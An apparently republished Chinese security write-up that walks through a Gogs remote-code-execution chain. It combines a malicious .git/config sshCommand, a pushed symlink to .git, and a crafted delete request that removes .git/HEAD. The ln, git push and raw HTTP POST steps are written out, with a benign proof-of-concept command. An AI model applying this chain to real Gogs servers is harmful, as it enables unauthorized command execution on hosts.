网络安全之RCE分析与利用详情

Gogs背景介绍

Gogs(Go Git Service)是一款用Go语言编写的轻量级、开源的Git仓库托管系统。它的设计目标是让搭建和维护Git服务变得简单、快速,同时提供类似GitHub的功能,但对资源消耗更少,适合个人或者小型团队使用,支持注册(所有注册功能开放,就可以在合法情况下,测试这个漏洞)

Gogs的核心是托管Git仓库,通过其 Web 界面和 API 为用户提供友好的操作体验。简单来说,它的工作流程包括:

  1. 仓库管理:用户在Gogs中创建、克隆、推送或拉取Git仓库,仓库存储在服务器的文件系统或数据库中。
  2. 用户认证:支持多种登录方式,包括本地账号、LDAP、OAuth等,确保权限控制。
  3. Web界面交互:用户通过Web界面或API进行仓库管理、代码浏览、Issue跟踪、Pull Request等操作。
  4. Git协议处理:Gogs监听Git协议(如SSH、HTTP/HTTPS),处理用户的git clone、push等请求,将操作同步到仓库存储。
  5. 后端服务:Gogs的后端实现了各种功能模块,包括用户管理、权限控制、通知、Wiki等。

也就是说它背后是通过git命令来进行仓库的管理的。

Git的秘密

首先git不仅仅可以进行代码、仓库的管理,它其实也是可以进行本地命令执行的,这也是这个漏洞最后的sink点。来看看git是如何进行命令执行的。

当提交执行git命令的时候,也就是执行 git <command>的时候,Git解析命令并定位到对应可执行文件,其中在.git目录下有一个config文件,用来进行仓库配置。

当在config的[core] 核心配置中有含有sshCommand的时候就会进行本地的命令执行。

以下是恶意的config配置内容。

[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = echo test > /tmp/poc
[remote "origin"]
url = [git@github.com](test:git@github.com):test/linux.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master

可以进行一下实验,将原来.git目录下的config文件内容修改为我们的恶意配置,然后再通过gogs webui 进行仓库的一些修改,使其后端执行git命令。

在提交变更之后命令执行了 并且web ui也报错了,因为原始config文件被修改了,无法正常操作仓库了,不过命令是执行了,这是我们的目的。至于为什么我只是echo test 后面却跟了一串其他内容 这应该是sshCommand的一些知识了,这里不做深究。

虽然git可以进行命令执行了,但是我们要想通过gogs系统进行命令执行的话,还需要配合文件写入漏洞,使得可以修改.git/config文件的内容导致命令执行。历史上gogs是也是有这个漏洞的。

但是今年爆的这个漏洞是通过任意文件删除造成的命令执行,这里就需要引出git的另一个机制了。git在提交命令的时候,之前说了会去看.git目录下的文件,只有满足一些条件的时候,git才会将其该目录识别为标准仓库,才会去执行config中的命令,然而当我们删除了一个HEAD文件或是其他需要匹配的文件时,Git不再将该目录识别为标准仓库,转而会去向上寻找根目录,去判断根目录是否符合标准仓库,那么如果根目录符合git的匹配规则,让其认为是标准仓库目录,该目录下放了我们的恶意config,那么就会造成命令执行了。所以我们需要通过任意文件删除漏洞来删除原始.git目录下的一些文件,来破坏其原有的文件完整性。

另类任意文件删除

通常我们所见的任意文件删除,是通过目录穿越 ../../这样进行的,实际上在<0.13.1的gogs中也有用到一些目录穿越,在>=0.13.1的时候似乎修复了。

而最新的gogs任意文件删除,使用的并不是这样的目录穿越,这时候就需要引入另外一个技巧了,叫符号链接

符号链接(软链接)是Linux文件系统中的特殊文件类型,其本质是指向另一个文件/目录的快捷方式。

创建符号链接的命令如下

ln -s <目标路径> <链接名称>  

案例如下

# 攻击者创建恶意链接
ln -s /etc/passwd malicious-link# 程序执行删除操作(以用户提供路径为参数)
delete_file("malicious-link")  # 实际删除/etc/passwd!

如果是这样创建符号链接呢

ln -s .git true_git_dir

我们在使用gogs删除文件时删除true_git_dir/HEAD 原始.git目录完整性被破坏就会向上级目录找

而上级目录其实就是我们可以正常上传的仓库文件,如果文件是符合条件的那么就可以达到我们之前想要的效果了。

当然有人会问为什么不直接删除.git/HEAD 因为之前其他漏洞修复已经对.git进行了过滤 以阻止直接删除.git目录,转而需要引用符号链接来绕过防护,所以实际上最新的gogs RCE是之前的绕过

如何上传symlink

那么我们既然要上传一个符号链接文件,需要用到git去push到仓库中去 可以用http也可以用ssh,我这里用ssh

首先添加ssh公钥 即id_rsa.pub(系统支持注册账号,测试人员可以注册账号测试漏洞0.0)

添加之后就可以正确对仓库进行git操作了

不添加会报错如下

然后本地攻击机(kali)创建一个符号链接,一定要用linux系统,创建符号链接,然后push到仓库,因为linux的符号链接在windows上处理不了,这也是个坑当我尝试把linux的符号链接文件复制到windows的时候发送如下提示。

那么我们在linux 攻击机上面执行如下命令

ssh://git@192.168.11.61:10022/admin1/tset.git
cd tset
ln -s .git true_git_dir

git add true_git_dir

git push origin master

至此成功向仓库上传了一个symlink文件

如果想在windows上面去post上传一个symlink文件是不行的,即使把linux上的符号链接文件下载下来,上传上去,由于经过了windows的处理导致它不再是linux symlink文件而只是普通文件了,所以也是不行的,真正上传符号链接文件之后这里的icon如图所示。

不过只有这个符号链接,仓库里的文件并不符合标准仓库目录的匹配,我们需要当前仓库目录树 形如下

malicious-repo/
├── HEAD                  # 根目录下的HEAD
├── config                # 根目录下的恶意config
├── refs/heads/       # 分支引用
├── objects/...           # 空对象目录
├── info/...              # 其他元数据
├── .git/...              # 原始.git目录(后续将被破坏)
└── README.md             # 伪装文件

我们可以自己在github上面创建一个这样的项目(文件的内容也需要符号git的规则,可以随便拉一个项目然后修改它的.git目录,项目里一般都有这些文件) 然后git clone到本地 添加符号链接然后 push到gogs上面

漏洞触发

目录已经构造好了,接下来我们要破坏原始.git目录的完整性了 也就是需要删除.git/HEAD

(测试发现没有 description 和 index也是可以的)

当然这里config中的内容需要是恶意的

我们随便删一个文件 然后抓包(不是真的删)

然后修改为如下url:http://192.168.11.61:10880/admin1/tset/_delete/master/true_git_dir/HEAD即指向的是.git下的HEAD而不是当前仓库里的HEAD 然后右边就会提示删除时发生了错误

原因也很简单,因为原始git目录的HEAD被成功删除,完整性被破坏,执行git命令的时候也就报错,最终再ui上体现如截图所示

POST /admin1/tset/_delete/master/true_git_dir/HEAD HTTP/1.1
Host: 192.168.11.61:10880
Content-Type: application/x-www-form-urlencoded
Cookie: lang=zh-CN; i_like_gogs=e4273ca0fe129938; gogs_awesome=admin1; gogs_incredible=7adbdcb1e2749458125bfb817c73c1e3802f77ed88e79a11d1a0c6561cfa06b064ae
Content-Length: 130_csrf=H3SRKyUjzJsxUgTJqttujDb4s4Q6MTc1MTcwODYxNjQ3MDk2MjA5MA&commit_summary=&commit_message=&commit_choice=direct&new_branch_name=

然后我们在随便找个提交的地方 提交一下,使得后端能够执行git命令触发漏洞

当然也是会报错的

不过命令也已经正常执行了

至此漏洞讲解完了,这个漏洞很巧妙的将git机制、符号链接、任意文件删除漏洞用到了极致。

测试过程中的版本确定

在合法测试过程中可以通过报错来判断版本是否满足漏洞版本 这里尝试通过符号链接去测试任意文件读取,不过这个有对符号链接的过滤导致无法任意文件读取,然后就报500了,下面也是将版本号泄露了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/88384.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/88384.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OpenCV图片操作100例:从入门到精通指南(2)

接上篇&#xff0c;本文将继续分享OpenCV实用技巧&#xff0c;涵盖图像处理、目标检测、3D视觉等进阶领域&#xff01;六、图像变换进阶17. 图像金字塔# 高斯金字塔下采样 smaller cv2.pyrDown(img)# 高斯金字塔上采样 larger cv2.pyrUp(img)用于多尺度图像处理&#xff0c;构…

2、Connecting to Kafka

KafkaAdmin-请参阅配置主题ProducerFactory-请参阅发送消息ConsumerFactory-请参阅接收消息从2.5版本开始&#xff0c;每个版本都扩展了KafkaResourceFactory。这允许在运行时通过向引导服务器的配置中添加Supplier<String>来更改引导服务器&#xff1a;setBootstrapServ…

二进制部署CentOS8.5+Kubernetes1.33.2+Docker28.3.1高可用集群

Kubernetes 集群部署202507 本实验主要软件环境及资源如下&#xff1a; 二进制部署CentOS8.5Kubernetes1.33.2Docker28.3.1高可用集群 一、系统要求 ​Kubermetes 系统由一组可执行程序组成&#xff0c;用户可以通过Kubernetes在GitHub 的项目网站下载编译好的二进制文件或…

127. Java 泛型 - 泛型类与子类型

文章目录127. Java 泛型 - 泛型类与子类型1. 泛型类和接口的子类型化示例&#xff1a;ArrayList 和 List2. 自定义泛型接口的子类型化示例&#xff1a;泛型接口的子类型解释3. 泛型类和接口的类型参数4. 总结127. Java 泛型 - 泛型类与子类型 1. 泛型类和接口的子类型化 在 J…

内网服务器怎么设置公网远程访问? windows桌面连接和Linux自带SSH外网异地跨网用完整步骤教程

没有公网IP的本地主机跨网访问是经常需要用到的网络场景。要设置内网服务器在公网进行异地远程访问&#xff0c;需依次完成确保网络连接正常、配置防火墙、启用远程访问服务、和利用类似nat123内网映射外网打通等一系列步骤&#xff0c;以保障不同内网的远程访问的顺利进行。一…

数据提取之bs4(BeautifuSoup4)模块与Css选择器

BeautifuSoup4from bs4 import BeautifulSoup创建对象 <class bs4.BeautifulSoup>soup BeautifulSoup(源码, 解析器)bs4标签种类&#xff08;1&#xff09;tag: 标签print(soup.title, type(soup.title))&#xff08;2&#xff09;获取标签里面的文本内容, 可导航的字符…

CPP中的List

一.list的介绍&#xff1a;1.list是可以在常数范围内在任意位置进行插入和删除的序列式容器&#xff0c;并且该容器可以前后双向迭代。2.list的底层是双向链表结构&#xff0c;带有哨兵位的头结点 。3. list与forward_list非常相似&#xff1a;最主要的不同在于forward_list是单…

Ntfs!LfsUpdateLfcbFromRestart函数分析之Ntfs!LfsFindOldestClientLsn

第0部分&#xff1a;//// Find the oldest client Lsn. Use the last flushed Lsn as a starting point.//Lfcb->OldestLsn Lfcb->LastFlushedLsn;LfsFindOldestClientLsn( RestartArea,Add2Ptr( RestartArea, Lfcb->ClientArrayOffset, PLFS_CLIENT_RECORD ),&…

「日拱一码」021 机器学习——特征工程

目录 特征选择 过滤法&#xff08;Filter Methods&#xff09; 方差选择法 相关系数法 卡方检验 包裹法&#xff08;Wrapper Methods&#xff09; 递归特征消除&#xff08;RFE&#xff09; 嵌入法&#xff08;Embedded Methods&#xff09; L1正则化&#xff08;Lasso…

k8s:安装 Helm 私有仓库ChartMuseum、helm-push插件并上传、安装Zookeeper

ChartMuseum 是 Kubernetes 生态中用于存储、管理和发布 Helm Charts 的开源系统&#xff0c;主要用于扩展 Helm 包管理器的功能 核心功能 ‌集中存储‌&#xff1a;提供中央化仓库存储Charts&#xff0c;支持版本管理和权限控制。 ‌ ‌跨集群部署‌&#xff1a;支持多集群环境…

C++编程学习(第二天)

1、求a和b两个数之和。#include <iostream> using namespace std;int main() {int a, b, sum; //定义变量a、b、sumcout << "请输入第一个数字a: "; //打印需要显示的字符串cin >> a; // >&…

毫米波雷达守护银发安全:七彩喜跌倒检测仪重构居家养老防线

在老龄化加速与独居老人数量攀升的背景下&#xff0c;跌倒已成为威胁老年人生命安全的“隐形杀手”。七彩喜跌倒检测仪以毫米波雷达技术为核心&#xff0c;通过“非接触式监测智能预警”重塑居家安全防护体系&#xff0c;为银发群体构建起全天候、无感化的数字守护网。技术突破…

面试复盘:节流中第二次触发的事件?答错补课

面试复盘&#xff1a;节流中第二次触发的事件&#xff1f;答错补课 背景描述 今天面试时被问到一个看似基础但暗藏玄机的问题&#xff1a;“节流&#xff08;Throttle&#xff09;函数中&#xff0c;第二次触发的那一帧事件是否会被丢掉&#xff1f;” 我基于对经典节流实现的…

Spark伪分布式集群搭建(Ubuntu系统)

环境准备 系统要求&#xff1a;Ubuntu 20.04/22.04 LTS 软件版本&#xff1a; Hadoop 3.3.5 JDK 8 Spark-3.5.6-bin-hadoop3 硬件要求&#xff1a;至少4GB内存&#xff0c;20GB磁盘空间 以下是基于Ubuntu系统的Spark伪分布式集群搭建全流程。以Spark 3.5.6 Hadoop 3.3.…

【快手】数据挖掘面试题0001:查找连续三天登录的用户

文章大纲一、测试数据构建二、自连接方案三、窗口函数方案一张用户表&#xff0c;uer_id&#xff0c;signin_date&#xff0c;大概是这么几项&#xff0c;查找连续三天登录的用户。 比如说&#xff0c;1,2两天登录不是连续三天&#xff0c;456登录为连续三天登录&#xff0c;56…

简说scp命令

简单介绍 scp的全称是&#xff1a;Secure Copy Protocol&#xff08;安全复制协议&#xff09;&#xff0c;是Linux中用于在网络中安全传输文件的命令行工具。它基于SSH协议&#xff0c;用于在本地服务器和远程服务器之间&#xff0c;或者两台远程服务器之间复制文件或目录。 s…

自动化测试解决方案Parasoft SOAtest无脚本UI测试实践指南

传统UI自动化测试常面临技术门槛高、维护成本大、稳定性差等挑战。尤其在页面频繁变更时&#xff0c;测试脚本的更新和维护会显著降低测试效率。 自动化测试解决方案Parasoft SOAtest通过可视化操作和智能元素定位技术&#xff0c;无需编写代码&#xff0c;让测试人员能够像真…

vscode配置头文件和编译器

在 VS Code 中配置编译器和头文件路径需要修改两个核心文件&#xff1a;c_cpp_properties.json&#xff08;用于智能提示&#xff09;和 tasks.json&#xff08;用于构建&#xff09;。以下是详细步骤&#xff1a; —### 1. 配置智能提示和头文件路径 (c_cpp_properties.json)作…

HTML+JS+CSS制作一个数独游戏

闲来无事&#xff0c;用HTMLJSCSS制作了一个数独游戏消遣。其实主要是自己做题的时候用笔画删除数字太容易出错&#xff0c;所以想搞一个程序稍微辅助一下。通过制作这个程序&#xff0c;反而提高了手工做题的水平&#xff0c;至少学会了记录步数以便于回退。 20250710功能更新…

嵌入式硬件中电容的基本原理与实现详解02

我们今天重点讨论点知识点如下: 1.各种种类的电容优缺点对比讲解 2.电容的标称值介绍 3.电容的单位介绍 4.常见的电压信号有哪些? 5. 电容的耐压值讲解 6.电容的容值有哪些? 7.12pF、15pF 电容常用在什么场合? 8. 振荡电路中使用的电容常常需要使用什么材质的电容? 9.100n…